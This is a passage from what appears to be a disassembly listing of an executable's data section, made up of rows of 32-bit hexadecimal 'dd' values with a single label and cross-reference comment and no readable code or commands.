0BD9322DFh, 86EACD13h, 4C8CCB0h, 0BFF82F2Ch, 0F848BA31h dd 9C60ADAAh, 3BFAE8Bh, 335D90h, 9FE20859h, 54BB35BEh dd 0B41B8300h, 46978FE8h, 110E12FBh, 0A4704A26h, 5C4DA5ACh dd 0CCFEB4C0h, 31E5002Fh, 0A19224E8h, 0D490BDB8h, 482BDF40h dd 0FACA5CADh, 20EB97C0h, 1573080h, 0CC440F5Eh, 0BE02B489h dd 9C48593Fh, 0BD09E346h, 0DA54912Fh, 0AD6521B4h, 42B7A828h dd 0E494E530h, 612D603Ch, 0EFD4005Fh, 28238799h, 5718AE70h dd 0CF700C9Dh, 6E1F0073h, 23FD2F2Bh, 4C9C2442h, 1D0CC2Fh dd 0DB1F61E9h, 202408CDh, 8C99EB06h, 0B7039E00h, 0A8BB1D89h dd 0BFD488h, 522515Eh, 0C7D9C3F4h, 5840EA00h, 0FD08D792h dd 428A5E96h, 0BADE29BCh, 8C56B04Ah, 102ADA40h, 0CB471E64h dd 3A1200BCh, 4A5CFDAEh, 0E3AD8500h, 8CCFBF46h, 0D0845FE2h dd 5F1EA178h, 2DEB2406h, 686EFBE4h, 6A869BAh, 8C77374h dd 0F2CD7D0Eh, 0C82392D1h, 7BF83D98h, 51432E9Bh, 0D04A8C91h dd 964F19F3h, 3081AC02h, 0A8BADD99h, 2F444067h, 7BC2DF61h dd 0F30AA804h, 7BE27D00h, 4C09DDE3h, 109EBFADh, 0DCC21E08h dd 3862C0C9h, 83910E1Dh, 0DD7B6100h, 8C1AE6B0h, 17C90395h dd 0AAB708D1h, 60293101h, 0D7502184h, 9328222Ah, 676DF421h dd 64782AD0h, 0F9842076h, 44020074h, 229D098Ah, 93111C45h dd 2DD88FF7h, 20D27500h, 0B8C92FE6h, 588467Ah, 0FE1F5AEFh dd 9E80F445h, 9D81D874h, 9D78CB3Ah, 84C0AC50h, 6CD79E5h dd 0A11804E6h, 0E351BE08h, 0F260D293h, 21DE8068h, 3B99DECh dd 0AD2EE09Ah, 48D183F8h, 0BC844C8Dh, 0ECA1BD88h, 0DD412FD6h dd 3AC918C8h, 5891EE81h, 484F00AAh, 5D9ED60h, 6916169Bh dd 80F4E8EEh, 61E6732Ch, 976412AEh, 29B4B988h, 0CC00E01Bh dd 0E8928B8Fh, 0B2400B50h, 1600DAF4h, 6A7AA0C3h, 0D34A65Ch dd 3047B81Ch, 23AC2F2Ah, 0F3630ED7h, 904615A0h, 0D012C968h dd 88E8D9FFh, 0B11FC080h, 10004F48h, 61579368h, 3BF9EAABh dd 7182A8A9h, 21AE46F3h, 55F488A1h, 7514264Ch, 0F810366Bh dd 74209E18h, 610EB946h, 3DA92C62h, 991B7E80h, 28044C2Bh dd 0C218AA2Eh, 66984DAAh, 0E82D0B9h, 0CBE74E00h, 0B4818CE6h dd 4021B579h, 15450725h, 64406C85h, 0D53EB2EFh, 146C9B6Eh dd 1510F807h, 509B07C4h, 0C40C89Eh, 0F7D9E3h, 2D61D32Ch dd 0C47A520Fh, 902B4Ch, 57E3FE37h, 24D0C3C9h, 4180DDE2h dd 2106A95Eh, 686E3F18h, 0BA84BF00h, 5C1686BEh, 0E4B2B54Ah dd 7D2E6D0Fh, 0B7386B62h, 0DD003C6Ch, 523DF3A7h, 6FE97BE4h dd 47166471h, 3463CF30h, 0E2748292h, 0BC0BC620h, 0C091279Eh dd 0BD9D471h, 0EC175818h, 0A4D97089h, 23C02B2Bh, 402E0009h dd 2DDCE396h, 2DC8B251h, 80C32C94h, 1008C425h, 7E8FD471h dd 0CFCBC41Dh, 0CD2FA744h, 0F8400BFh, 230C79CAh, 21C5BE25h dd 0FC2A53F4h, 0D783398Bh, 6508E071h, 6A6600CCh, 0B0CD4119h dd 1B645CB6h, 3D0040BEh, 0ECD3E8A7h, 9B697201h, 707D5329h dd 0C098146Ch, 16746DF9h, 7CE1702h, 0D4FBB326h, 1C064034h dd 2C00585Ah, 2587734Bh, 2C6C19Dh, 0CAE9FEE7h, 24E0CBB3h dd 7D803C76h, 3AC8FAB5h, 90608ED6h, 9AA44872h, 0F1AF5A1Fh dword_4E414C dd 0B231D700h, 0DB342Ch, 0E67AC83Eh, 0DED6E7Ch, 7484D126h ; DATA XREF: ___:off_43ACE4o dd 0B001B5C0h, 0C0C55F47h, 2ACA7240h, 0A91760B9h, 414484E0h dd 41A44146h, 6702E2DAh, 65385EAFh, 6E1C212Bh, 7030883Ch dd 67030BB2h, 0C854F450h, 1F0BE5E4h, 0CA298D3Bh, 9760823Ch dd 354DC7Fh, 15F93033h, 0B1383285h, 0C0B67225h, 4451B727h dd 928F4700h, 596A3129h, 0B93DD0A9h, 6825F9EBh, 0C2D8B27Ch dd 21FDB4AEh, 425D967h, 0C287D8A8h, 35A412Eh, 0FCF86D7Ch dd 5170A631h, 700090BEh, 0B54320E3h, 0B85AA48Eh, 0C58590D1h dd 0DCF448F3h, 0DD8E25A2h, 57D84001h, 4471D2CDh, 5B1893D9h dd 0AFAE1D01h, 9CF59A7Ch, 0E026D7F1h, 1C02F317h, 73E02490h dd 3202FAD0h, 2F291E00h, 0D4A8B04Eh, 0FEC70070h, 0E13A96BAh dd 0E472EC09h, 0A3837E00h, 0A81AC0ACh, 20BB6063h, 3554A289h dd 838F2900h, 13BADB1Ch, 0CFC74B1h, 3C59C7C5h, 4005AD1h dd 847B90ECh, 0FAEABE0h, 1B1C01Bh, 3AE4FA20h, 741F69D8h dd 0F201C2BBh, 6B7C7AE6h, 57BE8840h, 588BBD59h, 810090D1h dd 0C423B9C0h, 0B04752F3h, 89100C48h, 0BDC01CE1h, 2AE0C665h dd 4D096D0h, 0B58EEA05h, 0C82BFE47h, 1E23A9A0h, 50290118h dd 80775D08h, 58802A94h, 0D76D8071h, 0B371C7Ch, 0A2F6E896h dd 0C2773108h, 0D2B24C18h, 20305406h, 0A520C37Ah, 0BAE73385h dd 81AC821h, 631882BCh, 253018EDh, 0DA93108Dh, 34BD20C6h dd 0B5653118h, 88AA9D10h, 18AFD608h, 0A3746938h, 0C4C5EF80h dd 6E02E08h, 51206869h, 70F0DF2Fh, 0D18C6C4h, 0C36208C1h dd 0E6CE1F1h, 130846C8h, 51710C30h, 88A81508h, 38C4DD38h dd 0A30C59B9h, 4B63EDF9h, 31458510h, 89419308h, 3C208DCAh dd 66CD08A4h, 62B04F2h, 3118AB60h, 4DF8979Bh, 47188C2Ch dd 66CC083Ch, 988187Bh, 3BA06954h, 7DD44F54h, 9DB318C6h dd 40A13108h, 883F9C18h, 8262008h, 0FE083D2Eh, 70C60833h dd 0D2D19D19h, 77F73443h, 20536710h, 0E808D8ECh, 4DF10C87h dd 766FFA18h, 0C4AC808h, 0DB2081FCh, 26089F64h, 0CD291C91h dd 0B4C4408Ch, 1C92A208h, 0C6516D44h, 8394A29h, 0DA2024FDh dd 408E4140h, 5E8968F9h, 67E1EC51h, 1634C01h, 2088882Fh dd 6A2CBC3Ah, 19AC1833h, 18CCC6A1h, 374998C7h, 0C45A2EE1h dd 0D3A87F08h, 102A6DC8h, 0B6249036h, 7CAA105Fh, 8DC8831h dd 0E402E8BAh, 7754B4A2h, 5344B02h, 9EF0469Ah, 2D205875h dd 58EE2079h, 188CB049h, 0FD1024D1h, 360780EAh, 81D93C80h dd 3F5424BCh, 62B27A40h, 30DD10F8h, 2041D006h, 1662DB02h dd 3AD5D61h, 803C8A65h, 556CC04Bh, 0BC11C4D6h, 1099A596h dd 8C85E105h, 0B1660331h, 0F8A9D1E1h, 0AA61C831h, 6A088C4Ch dd 40853094h, 0A340543Eh, 0E9E4A890h, 5608CAA2h, 31EC99D0h dd 0C7F18C96h, 0A8CA08B3h, 0C6A144C0h, 50749508h, 83B02854h dd 89398E66h, 80A74908h, 6398927Eh, 8620193Ah, 0C0D5082Ah dd 0B0E84D54h, 0E1527492h, 10B932D4h, 25406993h, 0E9BDDC57h dd 0F053B831h, 9508105Ch, 0D885185Eh, 80801038h, 2A2558C3h dd 0C46420EBh, 5ACA372Bh, 7B80C061h, 2F98FF2Ch, 0FC5D10C0h dd 7305C0E8h, 40BC0510h, 951F53CFh, 0E64500ACh, 0FE4316F0h dd 6DFCA900h, 1FB248EAh, 582905D7h, 0E452D304h, 0C3007230h dd 47F4BCD2h, 4A2E1F93h, 14BCA7h, 0F5D31C75h, 12BE302h dd 0E95355FBh, 70227150h, 6103C0C5h, 26183732h, 0EB83E086h dd 510D010Bh, 782AC2EAh, 0F454F21Ch, 1F75E100h, 0CA5E096h dd 0CDD0A754h, 0C1604660h, 1F8A23B8h, 2F65E8B6h, 98C82582h dd 0FF045D31h, 77A5C8BBh, 0DBFC01EBh, 0CD94B547h, 0B0587A96h dd 16BC7218h, 91C2C48Bh, 726C660Ch, 7BE0048h, 738C83D7h dd 0F1F0E5h, 87A2A73Ch, 80AE252Ah, 83CB1F05h, 0C418A09Bh dd 1FD96948h, 501C6CBCh, 0A1540350h, 0C0CEB326h, 125C34E9h dd 807BEA4Dh, 0C497E6D4h, 0B4008DE6h, 0D8AE7426h, 6014EAA5h dd 0E9CE20D1h, 0C461135Ch, 0B2D460A0h, 29BE1898h, 46783091h dd 2E8A83Ch, 72D0CF52h, 0A2DC8127h, 0E882DB1Fh, 1CA61DB7h dd 17769C80h, 0E73F7C97h, 369480D9h, 6EDC7159h, 21EA3FCEh dd 0FB9960E0h, 662912F4h, 0BC07FCA9h, 1CED72Fh, 0E02D1C8Fh dd 0F10E5096h, 0D196D05Ch, 0D40F7A19h, 43BA170h, 814AC7F4h dd 0FCFECB45h, 0F6008665h, 0C9AF1BC2h, 2C502C0h, 9CE57C2Bh dd 0C4D47E5Ch, 0D109811Dh, 14400FBAh, 0FB1E0AB4h, 9960FCDBh dd 9EF45CFCh, 90760984h, 4225E0C8h, 29BF2435h, 402427FBh dd 0AA1DEA4Bh, 2483BF80h, 0B7683DD2h, 0B98482D8h, 0AF5CE481h dd 805889E0h, 223C009Eh, 6AFD82EBh, 0C118303Ah, 0A26CB11Eh dd 0B803B898h, 0FE814471h, 7CC176D0h, 847F0D9Dh, 0C060A946h dd 8319C66Ah, 165041D6h, 0EA01288Bh, 0D475F491h, 74007914h dd 1FCDC40Ah, 0E44F93Bh, 0D3B0D97Ch, 0D2DD6D60h, 201EE630h dd 94E40BA5h, 11768209h, 80432984h, 0A078EA1Eh, 0D6FFBAD4h dd 0D15A4F2Bh, 248CEB90h, 84121228h, 74036760h, 0F64DE1h dd 0D02E8B20h, 0BB7A6BE0h, 0C23F2000h, 0A047112Bh, 0EA6E1697h dd 6A0C0CFh, 8200CE70h, 7A872EE9h, 161AB92h, 0A974E476h dd 0DDF3A11Eh, 0CAE42018h, 9138BCF4h, 10A4D3C4h, 2B15E7ADh dd 689084FFh, 0EA66AB04h, 28E879h, 30741921h, 9F54A6h dd 9CEEC562h, 1E83C113h, 9C8FB5h, 0FAC3C41Ch, 44773981h dd 83EF5102h, 808089F9h, 6A60E180h, 37EAA10Ch, 48C2581Ch dd 66132029h, 0E1042071h, 88A8ABADh, 0EB00D0A6h, 7557CFE7h dd 5CDF5426h, 62766EAFh, 4204C031h, 0BAAAE7E3h, 2E482C49h dd 4000B41Dh, 1EDB6E60h, 9AEE0043h, 0CE6ABDF6h, 5402B34Eh dd 0DDC87310h, 0FA82D5BCh, 0C880782Fh, 0E739EB04h, 0FB9AE200h dd 1DC54531h, 707A6079h, 190BD960h, 855CF30Ch, 0A4D7A8CBh dd 82E63EACh, 10A72A18h, 8A3A647Dh, 0FE3E1FCCh, 1762009h dd 0ACED80B8h, 4977B424h, 0DE941899h, 44C16512h, 0C458F918h dd 0BA906238h, 2310060h, 2D9540C4h, 5D61FC80h, 48331F03h dd 3182992h, 5E1BEAD7h, 9D3F4878h, 8854305Ch, 0C2B74BEBh dd 3983A6B8h, 0BCBC9849h, 99961888h, 908CE310h, 0A15C194Ch dd 0F172385Ah, 0CCEC301Fh, 12003D4Dh, 0ECA09783h, 884F4C46h dd 0B8013A3Eh, 0EEEB4270h, 8080BE60h, 1FFFD1E9h, 72751C5h dd 0D4E10F20h, 78A04955h, 2674CE5Eh, 0B15CDD04h, 8C88AD8Dh dd 0B4019546h, 303688CCh, 0AE4C6114h, 9D7104B8h, 58CCE3D6h dd 0A07893BEh, 9C7030F0h, 652908D1h, 8172F001h, 0E417E084h dd 0CA3430h, 82EE0259h, 23256662h, 0C90118ECh, 5CFAABEAh dd 90925DF9h, 0C4FC0585h, 6B648CC5h, 0B9C8DE86h, 0CDCEDD00h dd 0AF1E20A1h, 31A09860h, 98BC1F10h, 1C770820h, 170141BBh dd 0FEC673D2h, 3E501330h, 668376D9h, 0B475679Fh, 1117000h dd 0BE3FB5DFh, 4CCB00A1h, 73439226h, 8E00DA2Ch, 52BFF34h dd 0AA59DAFh, 486EEAA2h, 0CB016BCh, 0C1B88460h, 0D588E450h dd 0A01DA740h, 0F8C903B8h, 18064838h, 2C78F510h, 82BE3497h dd 9D76D5FFh, 70C06ACCh, 0A12B019Ch, 4C6F2E5h, 0BC05E296h dd 42778880h, 0A527D06h, 0E199EAD3h, 579AC94h, 0F7969Ch dd 46CD53BEh, 0BEE86B80h, 60EBF93Bh, 0A9159508h, 146C7C54h dd 0BC269E5Ch, 0EF214E00h, 845066C6h, 700D2E30h, 0AB29CF7h dd 0F9635CFBh, 1DAF03C8h dd 0A83ECDB9h, 11551818h, 14BC6F40h, 0DCDEC48Fh, 2245A8C4h dd 0B8800A27h, 830A6449h, 7949E34h, 8236BFC2h, 40E89AFCh dd 0D60015E1h, 8764917Dh, 7CA6740Fh, 0ECC900CAh, 1DFFD906h dd 88C0B7C3h, 0BF1F6A25h, 0C0D65804h, 60BC9441h, 9C335415h dd 312F4C4Ch, 72292003h, 0BFA088C4h, 0CC0014BAh, 2008AD6Dh dd 3C4ECE2h, 0EA803A14h, 0D121A550h, 5057919Eh, 0C012AD48h dd 6404371Fh, 0E7628BCBh, 204F1E10h, 0D0A00381h, 1A0BB030h dd 23EDC3EAh, 0BBE10EE4h, 59A6F3h, 24835E5Ah, 44C5C639h dd 58468A3Bh, 880280DCh, 201D9B1Ah, 234C0FE1h, 382E000Ch dd 83A7936Eh, 303E6492h, 0FCC4C144h, 7239DDBCh, 32830A30h dd 0D0B79009h, 0C0AA1F87h, 0ED6BD302h, 1E78600Ch, 68C7599Dh dd 0D9285700h, 0DCEACD73h, 634CE09Fh, 83650FA0h, 0D3C6D719h dd 2D63A84Bh, 0C21DC259h, 6A2CE995h, 0D088AC34h, 44969C10h dd 0C42BC18Ch, 8998D2BCh, 0CD5C4460h, 85125092h, 2434AFD1h dd 0A529000h, 7562Dh, 1BDCB606h, 27D3827Bh, 2E1AD07h, 22134EC4h dd 0AC110129h, 0D41C7636h, 0FE808728h, 6A8379CEh, 0CB88C78Bh dd 97CDDC25h, 9EA51F4h, 0A89C4215h, 37528C60h, 78DFA0C9h dd 20389090h, 680C3EDEh, 18C6085Dh, 1640D619h, 83E0C1F0h dd 2E047279h, 9601A8E1h, 0CF54A5E8h, 336BBC30h, 0BE202159h dd 0AAEA183Ch, 67F808B3h, 8D45D104h, 9C88D0CEh, 49A640E3h dd 2C0FCAF0h, 321D9F11h, 5B248CC0h, 4C1C797Ah, 0CAC0309Dh dd 0E27D6C04h, 0ACBA0228h, 8317808Ch, 40165E9h, 8C5E2489h dd 0C4FC3851h, 45123081h, 0E3F93DF0h, 51B16CC8h, 0C3CB0A00h dd 0DFE41FE6h, 1C7C09A5h, 0D430193Ch, 6B185C95h, 0C0D9A2DDh dd 5A734CA5h, 0E2D5CA0Bh, 0CEF27410h, 301B8A17h, 84A0F413h dd 0B83099DBh, 7C93898Fh, 65C14440h, 11C1889Eh, 6DCA71D1h dd 99BC4h, 0E5E8C2F5h, 7B826695h, 0B0D68001h, 851183FAh dd 0E95C70A4h, 5C290C09h, 0C8AE9487h, 0E0F57B00h, 4A82E18Ah dd 3C3006A1h, 7808E91Dh, 2EAB761Ch, 592C2C58h, 0E8E8C283h dd 3FC8AD9h, 4C1EE03Ch, 94838258h, 82CB0049h, 8903587Dh dd 52C67F0h, 3DCDF93Eh, 1AD0830h, 0ABC9969Dh, 0D31C81FFh dd 590C1158h, 1A5CC2F8h, 13380CC4h, 1661B48h, 1C7D60AAh dd 7C240EFEh, 43D60140h, 0EC022F38h, 10903648h, 7805B61Ah dd 801BE884h, 248BD2E8h, 7D552517h, 0D8601417h, 485B5CF2h dd 7E30786Ah, 3DFEA21h, 1096B881h, 8D9404FFh, 78E81586h dd 109D0F34h, 4419B40Eh, 56167BFAh, 66840CE0h, 702AE110h dd 0FE00CCF1h, 0C8E4BCD0h, 0F879ECFBh, 107F1CD2h, 58EA0036h dd 23450A0Ch, 0C4184E1Eh, 0CF6F7140h, 286BDD4h, 8A4910CCh dd 0E1012240h, 2C50C3FAh, 0A54AEAh, 0F82D4A4h, 0C4767C8Fh dd 0C2529507h, 8EBFA617h, 3B80BC6Fh, 0A2032BFAh, 32D776C4h dd 0E8704389h, 7889943h, 0C0923D1Eh, 34102B26h, 0FC80A664h dd 83C02AEAh, 0BD7450FFh, 103E23C3h, 48D897Bh, 43F403E9h dd 0D2380048h, 3F2E70DCh, 8A3F259Dh, 73770050h, 0C338C78Ch dd 0B47C1D4Fh, 0B1478053h, 22D8CEF3h, 4CBD0F01h, 0CA5D74ECh dd 3003828h, 2F55DE33h, 0F494169Eh, 0BCA1FC98h, 24709215h dd 3F08B679h, 7B6E1C00h, 5C2BCB11h, 453A60B0h, 0E00C187Eh dd 1C04B3C0h, 0C0BB30ACh, 62F24BD1h, 92071FA4h, 8351B6CFh dd 0AB6BA8B0h, 8AA2014Ch, 0CE44F524h, 0EA0430AFh, 2C3E152Ch dd 0B540A31Eh, 0E0139265h, 5D90FD6h, 0A0279D89h, 0F9B6048h dd 2924C6C4h, 0DC2879CFh, 611B0600h, 0C1EBA4C2h, 0E094A3ECh dd 513F53F8h, 403ED0F0h, 0B10FC380h, 5550105Ch, 1D019884h dd 0A12C644h, 0C60FDDDh, 4BE44A0h, 9E5F3000h, 7F248272h dd 3C9F01D3h, 0A8EA07C3h, 9B6300ADh, 482B0E6Ch, 3D48E1F9h dd 641E8B16h, 71E2B242h, 42E05047h, 0E850942h, 238023AFh dd 0A4605264h, 1F870128h, 175FCC3h, 0B8931FE7h, 0E15CEC6Ch dd 3288459h, 2BDE79D4h, 0D13490C0h, 0AC8D1860h, 3C5C888Ah dd 971E440h, 0C1C48EBCh, 0A6B87490h, 84404548h, 0F0C5D68Ah dd 0D1B0B402h, 8B44541Eh, 0B4E804C9h, 14B34FBAh, 0DD30382h dd 0D4D048BEh, 2EE090ABh, 9588AD7h, 0E89A80F9h, 10B36086h dd 30EAD43Dh, 0EC0601Fh, 98CB269Ch, 0D418A760h, 9E6B785Ch dd 84B4D468h, 0C8D954EAh, 2E0090D4h, 0E6C4DBBDh, 17F403C5h dd 401F1E4Fh, 5F426838h, 2941321Ch, 0C0A5BC40h, 0EACC0961h dd 0C031C6h, 6C14698Fh, 7590F6E3h, 0EABB8906h, 8F195DDh dd 3B145CFCh, 43788300h, 130458A1h, 61799484h, 518AA350h dd 68E0F478h, 4584B1CCh, 76B83819h, 71A5D00Bh, 240404C6h dd 491CF416h, 3B91EB19h, 5C61CDB0h, 0BE80B410h, 2C0F0052h dd 5CF5788Ah, 0EC925131h, 80FF7978h, 0C5441888h, 3CB8A65h dd 0E1050947h, 592D9950h, 0B02C0841h, 1D1B642h, 2EAD04C4h dd 604BD853h, 0D780FDFh, 5CC010BFh, 0A06449A4h, 64F6E00h dd 6B8338FFh, 0F874C1C0h, 49372BBFh, 101F4418h, 18679D44h dd 0EB820848h, 52E71100h, 9A5CFADEh, 7E8C9A91h, 0B5EE30D5h dd 0CFBF50E8h, 39ECA3Dh, 44E4F91Dh, 33A27862h, 8411F325h dd 0B10956ABh, 76031DE5h, 0C41600B4h, 6B0733ECh, 0F49D910Fh dd 98979244h, 0CADD80F9h, 0EC393B8h, 7975E910h, 74B6CF9Dh dd 0C980B90Fh, 52B17CAh, 0A51DF60Ah, 0FA008CBAh, 0A7C114EFh dd 31DC006Ah, 65C70EC2h, 55005672h, 0F544F9A2h, 0D7016F1Dh dd 0B0740430h, 6518E5C8h, 1D706404h, 0DC292F6Ah, 0AC7EDC0Ah dd 2F47600Fh, 83C2229Eh, 0CE30486Ah, 161C0B6Fh, 0E89002F4h dd 32504D1Eh, 3601AAB4h, 0B9666476h, 45FD4347h, 72830470h dd 7141C761h, 27A11123h, 792FD49Dh, 0CB9E6402h, 0D0966611h dd 2AAB0038h, 0A6E97782h, 0E0354ADh, 91E5346h, 4C687A35h dd 8F0158FAh, 840815C9h, 0D00A7E38h, 1A01F0C4h, 93E65F14h dd 0AF1DF1CBh, 12187824h, 4FDBBA5Ch, 0D1920EA8h, 89697748h dd 10377240h, 52821E8Ch, 6200B88Fh, 4DB6AC2Fh, 0A2783C8h dd 9A8C995Fh, 5C0CBC77h, 0DD68FC87h, 0B9D56105h, 3CA89655h dd 5EC42450h, 68D02D03h, 1C424F78h, 80AC1083h, 1DF99C9Ch dd 38B26074h, 0CDC04417h, 0DBE8AF48h, 20E0B530h, 7CC31205h dd 8A031E5h, 0FD2E0014h, 0D56900E0h, 707D2AAEh, 8A134A11h dd 8093D286h, 4835906Fh, 0E7578ECh, 138A0311h, 0A30891E0h dd 0AB14B30Bh, 0CAA08239h, 220A8023h, 61021009h, 624B73EAh dd 3340C11Ch, 0D92ADC42h, 0D3830A4Ch, 0AAD02E20h, 634C9428h dd 0C0192774h, 44383522h, 41518420h, 4337CD6Bh, 68619EBCh dd 0E5C0C7E0h, 96027832h, 0DD8E5C68h, 20E40C40h, 0DE02FF02h dd 0CE57BA99h, 0E2892628h, 583D1080h, 0F990102Ch, 49DD1E12h dd 64CEFB70h, 0EA31EC22h, 6525F0C1h, 0A950807Dh, 22850A08h dd 0A442D0B1h, 486CE413h, 3AC01864h, 5E2FF3D8h, 0D401C494h dd 6F4458Ah, 0EE017863h, 0F2EAD20Ch, 0C880A4A3h, 2A34380Bh dd 81271C90h, 0DA539B94h, 723EB82Ch, 0D3FFC800h, 0A2F8FA6Bh dd 0A51E5E04h, 0EC03DFh, 43C6784h, 30B0C704h, 2F8490BCh dd 0D8093583h, 418CE80Ah, 78A58199h, 0D4242EC8h, 1DB7B030h dd 0C4345539h, 11C63825h, 0C1826D7h, 585BFB83h, 16EA1DC4h dd 1C6EC3BDh, 9800E641h, 0C23D9176h, 2E90BC10h, 0A81705h dd 3C6BC407h dd 192C8A66h, 9C00A934h, 0A840578h, 0CEB8CC92h, 8904550h dd 7A729B03h, 0AC293687h, 0EA0874A9h, 9916DA3Ch, 0D21EFC43h dd 0FB7825CEh, 834094D6h, 36CCCD1h, 8ABCB9Bh, 38F6C0EAh dd 4A30FC7Eh, 2AE67071h, 440E0010h, 7872661Dh, 0DF7C8A39h dd 90224E2Fh, 5765A9Ch, 8B45A8B6h, 2A7CB2FEh, 5E5AB4BAh dd 19EADC00h, 0EA808D3Eh, 98819F8Ch, 0F4752F22h, 5D7C246Ah dd 2908B82Fh, 0CA0654Ch, 0B53942EBh, 0A4A2522Ch, 96DAD480h dd 70453F5h, 2CD62DEh, 0DDD702EDh, 3F1E0C81h, 0AF308025h dd 0DFD860D6h, 67ED0150h, 1C728EC8h, 0D4006E29h, 37EA5BABh dd 0A4119528h, 3CE04373h, 10B8F2C4h, 61138E04h, 0CDB2002Eh dd 82DED1D7h, 0E081559h, 0AC1C7CCFh, 0B4182821h, 3CC0695Ch dd 0DD65CB6Bh, 14C2F811h, 2A0F0F4h, 955C8DE6h, 7CD2ACF9h dd 38ED040Eh, 0FC30962Bh, 7E5C3235h, 0FE9400CCh, 0E07FBE4Dh dd 8CB2C07Ch, 0A0CD56h, 630CCCD0h, 29749651h, 43B037BBh dd 805C9BDBh, 647E00A4h, 993674A8h, 0EA580CC3h, 0C8B1E9C7h dd 0A9E1C0C0h, 0BA1E556Fh, 14C899A4h, 8D832CC4h, 0BFD2D106h dd 9B1DDCD1h, 0CA0E06E0h, 180526EAh, 0D283B616h, 0E2D830C3h dd 1C854C1h, 9C5CFFFEh, 485C6862h, 0F53778B0h, 2AE0105Fh dd 13926FCAh, 51B41E9Dh, 151AD410h, 748F110Bh, 0BF13A03Fh dd 4F2E83h, 56FE86D1h, 81E900C0h, 6B62ED59h, 4B5C8B93h dd 0E797191Ch, 8C398AB8h, 884C4858h, 3B241C4h, 0F02D7E16h dd 92231D96h, 32C304BCh, 90501C79h, 0CB74F340h, 19731D13h dd 25855C9Ch, 3029B178h, 0F4EBB418h, 8CBCEC74h, 84C374C5h dd 0F3692665h, 68722D84h, 9E86C14Bh, 7D55F40h, 0ADEA5C40h dd 0EFC802C9h, 32F58C4h, 18C49436h, 2094B65Ch, 0D048CE81h dd 82D605ACh, 9CE22650h, 115C1870h, 321759E8h, 0A21F0322h dd 7FBC528Ch, 0BC43F925h, 2994F16h, 0B7E1FF7Ch, 740218F6h dd 0CEA5B172h, 507090C0h, 59832421h, 0BA122426h, 8B60702Fh dd 0D8B048D3h, 6623B312h, 0B13AB8C8h, 209E886Ch, 0C61DE106h dd 0ED4A0BCh, 51DC8096h, 8050EA25h, 6695B464h, 98B874h dd 2BEF86A5h, 0C8DC5E33h, 300FE9FBh, 0F700FF80h, 247C66DBh dd 2A4E3E9Eh, 1F8231Eh, 6139EBFEh, 43113B4Dh, 0B1745C92h dd 0A0D29337h, 0E259F2F2h, 0F03C6010h, 0C720C3E8h, 78E96AC9h dd 0BB783055h, 0E7331702h, 7029905Ch, 197C0754h, 65C36850h dd 0C48CD013h, 0BD0248C8h, 2E1C6CF1h, 0A1F4EBD9h, 12AF7EAh dd 0C485BE6Ch, 815C38C0h, 9E814265h, 60891420h, 0EB536057h dd 0E900C40Ch, 2CF517F2h, 50C56EDEh, 90CB08C1h, 922D4C60h dd 0D0834200h, 0C31C3B9Eh, 0CB46049Ah, 80226013h, 86FF1E34h dd 0C95398C0h, 71C00C4Dh, 83E504C2h, 0ADE2B531h, 62E6801Ch dd 92CB275Dh, 16D40158h, 3A1E1A74h, 0F4488330h, 0FABA65Ch dd 44324D21h, 7F406C93h, 0A4404Ch, 0B111F8FEh, 0F82786Eh dd 0E78A92D0h, 0C0101793h, 3680CBB4h, 22A56094h, 31AD0Ch dd 9D782CC2h, 448D8125h, 4F1E2CE8h, 90A218h, 8288A3DEh dd 0F9B6DC78h, 33240702h, 0C297E479h, 1E740194h, 347336C4h dd 0B5BCE3Eh, 1002E0D4h, 18CCF96Ch, 10F7FD31h, 4C72ADCBh dd 66857890h, 17F4A96Bh, 2CA0C05Ch, 0D96C3F19h, 0ECC6186h dd 583C8852h, 6893265Dh, 0D4053480h, 0C1C372EAh, 0BF83C748h dd 0D9D040B2h, 9BFC91DBh, 73EC4300h, 0CF3BEB05h, 8A6E00BBh dd 24D8CEE9h, 1EF6C4C8h, 90262E28h, 7C38CC00h, 0DEC97EEBh dd 61C30018h, 0D2F29B7Ah, 0A96DF16Bh, 1AE0C8E1h, 84C4B10Ch dd 0EE9F72D0h, 5F2B2D00h, 0F8966344h, 48DE2A8Bh, 506120BCh dd 468294Ch, 826323C8h, 258344CCh, 4106EF1h, 404C0804h dd 0D8D468h, 0DF9F0680h, 49AFFD6h, 0DB1DA13Bh, 0AEE8948Ah dd 9BBB6000h, 0B8F33E56h, 0E6F500F4h, 23C10A78h, 640179FBh dd 843A0D70h, 0D1D15C02h, 6BEAA840h, 95C090A8h, 0D68CA801h dd 0C772D4D0h, 93215202h, 0D774DEECh, 0EACFA080h, 0B8C00F95h dd 7B9D8D16h, 0D36400E5h, 0D2021472h, 54BA68EAh, 3EEE1278h dd 0E2F8FB01h, 13911C75h, 6F5B080h, 89C63B53h, 5776EA18h dd 842680h, 79458347h, 6BCD5272h, 0B30B5D0Eh, 8BB9C054h dd 3C29CA7h, 0EA01DBCAh, 680C062Bh, 5874B89Bh, 6B6A2883h dd 1DCA76A4h, 4038661Dh, 8AF18462h, 0D71DF46Fh, 0DA8D408Bh dd 3029285Fh, 4063185h, 931580D8h, 0E4C5A29Ch, 0C32C1D64h dd 4B80A0BDh, 5554B57Ch, 13087143h, 4EAC0E5Ch, 0C4C01DF8h dd 7FC07AC2h, 0F84FFB78h, 372B5000h, 1C226C5Eh, 8CEC2AA7h dd 79115DFFh, 0A0DFE224h, 0D91FF30Ch, 88E54A73h, 0C02EBCF8h dd 0E203B0A5h, 9A81F95h, 0D1075210h, 0D5FE4CA0h, 5304B479h dd 0BE34752Fh, 1E70480h, 1E060C54h, 0F250A5F3h, 69665C38h dd 7B010B0h, 7910C1CAh, 33926A9Dh, 0F54A7C1Ch, 7C001465h dd 9B12E8DCh, 0A2650099h, 0AEC394E5h, 5690FC2Eh, 68ECC42Dh dd 0A26698h, 0C8E92F03h, 0A65ADAD4h, 1E21D50Fh, 0B8495355h dd 448CA29Eh, 5CC4E21Bh, 0C02A1FC8h, 7DF8E2D7h, 32281002h dd 7627085Bh, 85C65B6h, 48182445h, 38D1D281h, 0B309FC0Dh dd 68E3581Dh, 0D06B5C90h, 221D74B2h, 0B214E93Ah, 0C21000DCh dd 3382E31Dh, 1B47CD9h, 3CE79E64h, 3CAC071Eh, 0FECE80F0h dd 5CB4E1BCh, 448F5052h, 507BCC69h, 0C571E505h, 0DC01A064h dd 102CF4D1h, 588F23E0h, 0C04EC941h, 0E39CDBB0h, 94DD7D00h dd 0FBC03145h, 0CC65E35Ch, 40810C60h, 5582B75h, 1E488164h dd 0AC2D749Fh, 0A6B38303h, 72B04A73h, 2512F22Fh, 0B003508Ch dd 8894AADEh, 13375D2Bh, 899EC53h, 0B00BFFDCh, 